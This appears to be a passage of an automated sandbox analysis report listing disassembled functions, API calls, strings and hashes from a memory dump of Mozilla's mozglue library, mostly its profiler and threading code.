??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C577AA1

Part of subcall function 6C545C50: __aulldiv.LIBCMT ref: 6C545DB4
Part of subcall function 6C545C50: LeaveCriticalSection.KERNEL32(6C5AF688), ref: 6C545DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C577B31

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: a375e4cb4967ceb817a4335498d96d02be5001e3450e22324c8378fdf39006ae
Instruction ID: eab5e437bac2b15c23fab1516a11bc0c99a005540cecdc57ed1dbf445bf4bf3d
Opcode Fuzzy Hash: a375e4cb4967ceb817a4335498d96d02be5001e3450e22324c8378fdf39006ae
Instruction Fuzzy Hash: 9AB19B31608380CBCB25CF24D85065FB7E2EBC9358F154A1CE99567B91DB70ED4ACB92

Function 6C548850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C5497EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C549813, 6C54985D, 6C549878, 6C549CEB

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 1eeb8c54ad1f3f475ec05a787fa490a8e672a2cfbfd003f9fd11129cb9e3731d
Instruction ID: fbbe4e78c55446e560c5c7d585decf52bdaa2fe7378fcd6691c21a52f4e52639
Opcode Fuzzy Hash: 1eeb8c54ad1f3f475ec05a787fa490a8e672a2cfbfd003f9fd11129cb9e3731d
Instruction Fuzzy Hash: 68D2AD71A057018FC718CF19CA91715BBE6BF85324F29C7ADE86A8B7A5C731E841CB81

Function 6C566CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C566D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C566E1E

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 669b129b18cea1ba94feb95cf6de2aa64643bc6a3552da6875f9bc6fc12b8b7f
Instruction ID: c2449a39fdc90622c27dd6e77e1493d89a36dccd2cd148981ce47af3ef3525e5
Opcode Fuzzy Hash: 669b129b18cea1ba94feb95cf6de2aa64643bc6a3552da6875f9bc6fc12b8b7f
Instruction Fuzzy Hash: 15A14B746183858FC715CF25C8907AAFBE2BFC9308F45495DE48A87B51DB70A948CB92

Function 6C58B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C55FE3F), ref: 6C58B720
RtlNtStatusToDosError.NTDLL ref: 6C58B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C55FE3F), ref: 6C58B760

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: beeb8865d481445e669deb29eace1cbbe84a713a1ab4c2c0b2b7df77bcc7a47e
Instruction ID: 8ea9acabedb72358952791399a7f6381350ad035591f20fb5d6a272476f07f78
Opcode Fuzzy Hash: beeb8865d481445e669deb29eace1cbbe84a713a1ab4c2c0b2b7df77bcc7a47e
Instruction Fuzzy Hash: F4F0C2B0A0131CEEEF01AAE1CC84BEFBBBC9B44319F505169E511A56C0D774AACCC665

Function 6C544640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C544777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C545585, 6C5455A8, 6C5455C3, 6C545624

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: f9273e1ec76821924061302e2394148e489e3c8bc451f07f10f62d984ac3b283
Instruction ID: 5f8b9dbe43455bb49ca5a10b0ef1eb6bf3f7009ee0ca52cdb51b9c1e7f2ebfbe
Opcode Fuzzy Hash: f9273e1ec76821924061302e2394148e489e3c8bc451f07f10f62d984ac3b283
Instruction Fuzzy Hash: FEB25D71A45A018FD708CF19C990715BBE2BFC5328B29C7ADE46A8B7A5D771E841CB80

Function 6C5885F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C588C7C
__aulldiv.LIBCMT ref: 6C588DD7

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 196d8007dc4e4f4c51f5e5f170928835f652113a6598fc2ab5408eb032150812
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 76327171F011298BDF18CE9DC8A17AEF7B2FB88300F15853AD506BB794DA349D458B92

Function 6C5976E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qRl, xrefs: 6C597B0B, 6C59793C, 6C597E0B, 6C5979FB, 6C597796, 6C5979C0

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID:
String ID: ~qRl
API String ID: 0-857610353
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 8883b53519cc29b4b25a9c42080ea268e6e7804767541200b9783635a32fcf53
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 1B32F871E0065A8FCB14CF99C890AADFBF2FF88304F5485AAC549A7745D731A986CF90

Function 6C596E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qRl, xrefs: 6C597B0B, 6C59793C, 6C597C03, 6C597E0B, 6C5979FB, 6C5979C0, 6C597C72

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID:
String ID: ~qRl
API String ID: 0-857610353
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 2477245bc88d881a21b074188f3e66a1bc50316ef107adef4473d9df46225bef
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 3A22E671E006598FCB14CF98C880AADF7F2FF89304F6485AAC949A7755D731A986CF90

Function 6C565C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C534A63,?,?), ref: 6C565F06

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 65639da115a5fd66250216fb6e819dfd694ddf60a23eeaffa59f57b270ea1f91
Instruction ID: a31e5bbc3bf8df5810e2f79de311f66c62cf452c868d8c167f7882c71fab2408
Opcode Fuzzy Hash: 65639da115a5fd66250216fb6e819dfd694ddf60a23eeaffa59f57b270ea1f91
Instruction Fuzzy Hash: 6BC1D175D002098BCB14CF96C9906DEFBB2FF8A318FA84159D8556BB52D732A945CF80

Function 6C52DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27043c9f0e0fa6e6753302b5bb8b26aa2bc68d87d7ec3d1c863636364ba9302e
Instruction ID: 98ff2a80f4eeb65b978f32bb8ac36e79b036be252aec30f9261a44a214f22630
Opcode Fuzzy Hash: 27043c9f0e0fa6e6753302b5bb8b26aa2bc68d87d7ec3d1c863636364ba9302e
Instruction Fuzzy Hash: 9842A132A187508BD304CE3CC89175AF3E2BFC9365F094B2DE999A7791D778D9418B81

Function 6C550512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 7558952ac0927d22ad6c15c079155db37815c0eb93e902e66ee606976c104ba7
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 26221971E04619CFCB14CF98C890AADFBB2FF88308F54869AC44AA7705D731A995CF90

Function 6C59AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ae87569b0081e0daab331cc57a4f7f26b32586c65977cbd1c0fd187236547b5
Instruction ID: 254f7a19b8b43a4a1fd91bfaaaa427c40193239cb7c0ac3777f87d50145cf5cf
Opcode Fuzzy Hash: 1ae87569b0081e0daab331cc57a4f7f26b32586c65977cbd1c0fd187236547b5
Instruction Fuzzy Hash: 2CF13A71E087C58FD700CF28CC907AAB7E2AFC5318F158AADE8D587791E774984587A2

Function 6C52C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: f89b95691cbb91cff3174b6732817c95b3bc3415123f2836f9d576ed5b57eda4
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: A2A19271F0061A8BEB08CE69C8917AEB7F2EFC9354F198169D915E7781D734AC068BD0

Function 6C567710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: b171775fabf2f28988f44a64f7d54795939b832ce1a227f57924290a21728289
Instruction ID: 83a48049eaa9fea136a62c6af8359e7a7674e0091c3441526e9f25963bfd5c98
Opcode Fuzzy Hash: b171775fabf2f28988f44a64f7d54795939b832ce1a227f57924290a21728289
Instruction Fuzzy Hash: 8B714B75E012198FCB18CFA9D8905EDBBB2FF89354F24816ED816ABB50D731A905CB90

Function 6C56CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C53582D), ref: 6C56CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C53582D), ref: 6C56CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C59FE98,?,?,?,?,?,6C53582D), ref: 6C56CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C53582D), ref: 6C56CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C53582D), ref: 6C56CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C53582D), ref: 6C56CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C53582D), ref: 6C56CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C56CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C56CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C56CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C56CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C56CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C56CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C56CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C56CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C56CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C56CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C56CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C56CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C56CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C56CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C56CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C56CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C56CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C56CE8A

Strings

stackwalk, xrefs: 6C56CCF8
Unrecognized feature "%s"., xrefs: 6C56CEA0
nativeallocations, xrefs: 6C56CDA8
processcpu, xrefs: 6C56CE6E
notimerresolutionchange, xrefs: 6C56CE00
preferencereads, xrefs: 6C56CD92
java, xrefs: 6C56CC37
cpuallthreads, xrefs: 6C56CE16
audiocallbacktracing, xrefs: 6C56CDD4
default, xrefs: 6C56CC21
fileioall, xrefs: 6C56CCA8
markersallthreads, xrefs: 6C56CE42
samplingallthreads, xrefs: 6C56CE2C
seqstyle, xrefs: 6C56CCE6
fileio, xrefs: 6C56CC92
nostacksampling, xrefs: 6C56CD7C
jsallocations, xrefs: 6C56CD0E
unregisteredthreads, xrefs: 6C56CE58
screenshots, xrefs: 6C56CCD4
power, xrefs: 6C56CE84
noiostacks, xrefs: 6C56CCBE
leaf, xrefs: 6C56CC66
mainthreadio, xrefs: 6C56CC7C
ipcmessages, xrefs: 6C56CDBE

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 8963353f5e790f0c626412c1eaeae89e70a842d0f898626d835750e75cbff1af
Instruction ID: 00231a815d06986dce73b3c627e647ec5b3f9e62847436da18dfc0ac1b00197a
Opcode Fuzzy Hash: 8963353f5e790f0c626412c1eaeae89e70a842d0f898626d835750e75cbff1af
Instruction Fuzzy Hash: 3A510CF19052E453FE11311BAC10BAA1415EF9324AF504576EE1BA1F90FF08FA0A86B7

Function 6C5347C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C534801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C534817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C53482D
__Init_thread_footer.LIBCMT ref: 6C53484A

Part of subcall function 6C55AB3F: EnterCriticalSection.KERNEL32(6C5AE370,?,?,6C523527,6C5AF6CC,?,?,?,?,?,?,?,?,6C523284), ref: 6C55AB49
Part of subcall function 6C55AB3F: LeaveCriticalSection.KERNEL32(6C5AE370,?,6C523527,6C5AF6CC,?,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C55AB7C

GetCurrentThreadId.KERNEL32 ref: 6C53485F
GetCurrentThreadId.KERNEL32 ref: 6C53487E
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C53488B
free.MOZGLUE(?), ref: 6C53493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C534956
free.MOZGLUE(00000000), ref: 6C534960
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C53499A

Part of subcall function 6C55AB89: EnterCriticalSection.KERNEL32(6C5AE370,?,?,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284), ref: 6C55AB94
Part of subcall function 6C55AB89: LeaveCriticalSection.KERNEL32(6C5AE370,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C55ABD1

free.MOZGLUE(?), ref: 6C5349C6
free.MOZGLUE(?), ref: 6C5349E9

Part of subcall function 6C545E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C545EDB
Part of subcall function 6C545E90: memset.VCRUNTIME140(ewXl,000000E5,?), ref: 6C545F27
Part of subcall function 6C545E90: LeaveCriticalSection.KERNEL32(?), ref: 6C545FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C534812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C534828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C534A42
[I %d/%d] profiler_shutdown, xrefs: 6C534A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5347FC

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: dcf8bd29a2e366f4b8a94574d1db276399be051df235740c9801e2295b60b40a
Instruction ID: 462be8affa57e50031bebc444a86c7c854589c2f275059e7f7279e28ea18c3dd
Opcode Fuzzy Hash: dcf8bd29a2e366f4b8a94574d1db276399be051df235740c9801e2295b60b40a
Instruction Fuzzy Hash: BD81F271A00120CFDB00DFAAEC4475E3BB5EB82328F550629D91A97B41F732E855CB9A

Function 6C534470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C534730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5344B2,6C5AE21C,6C5AF7F8), ref: 6C53473E
Part of subcall function 6C534730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C53474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5344BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5344D2
InitOnceExecuteOnce.KERNEL32(6C5AF80C,6C52F240,?,?), ref: 6C53451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C53455C
LoadLibraryW.KERNEL32(?), ref: 6C534592
InitializeCriticalSection.KERNEL32(6C5AF770), ref: 6C5345A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5345AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5345BB
